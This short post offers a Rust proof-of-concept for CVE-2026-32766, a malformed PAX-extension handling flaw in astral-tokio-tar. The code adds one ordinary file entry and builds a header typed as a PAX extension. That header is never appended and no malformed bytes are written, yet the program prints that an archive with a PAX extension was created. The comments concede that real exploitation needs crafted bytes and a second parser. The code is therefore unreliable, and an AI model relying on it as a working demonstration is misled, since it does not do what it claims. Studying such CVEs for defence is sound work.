CVE-2026-32766: astral-tokio-tar PAX扩展解析漏洞

// PoC for CVE-2026-32766: Malformed PAX Extension Handling // This example demonstrates how a malformed PAX header might be constructed. // Vulnerable versions of astral-tokio-tar would skip this silently. use tokio_tar::{Builder, Header}; use std::io::Cursor; #[tokio::main] async fn main() -> Result<(), Box<dyn std::error::Error>> { let mut ar = Builder::new(Vec::new()); // Create a standard file entry let mut header = Header::new_gnu(); header.set_path("legitimate_file.txt"); header.set_size(0); header.set_cksum(); ar.append(&header, &mut Cursor::new(&[])).await?; // Simulate appending a malformed PAX extension // In a real exploit, specific bytes would be crafted to trigger // differential parsing in a secondary parser. let mut pax_header = Header::new_gnu(); pax_header.set_entry_type(tokio_tar::EntryType::X); // PAX header type // Set a size that implies the presence of PAX attributes pax_header.set_size(50); // In a vulnerable version, if the subsequent bytes are malformed, // tokio-tar would skip this entry without error. // Note: Actual exploitation requires a secondary parser that // interprets this skipped data maliciously. println!("CVE-2026-32766 PoC: Archive with PAX extension created."); Ok(()) }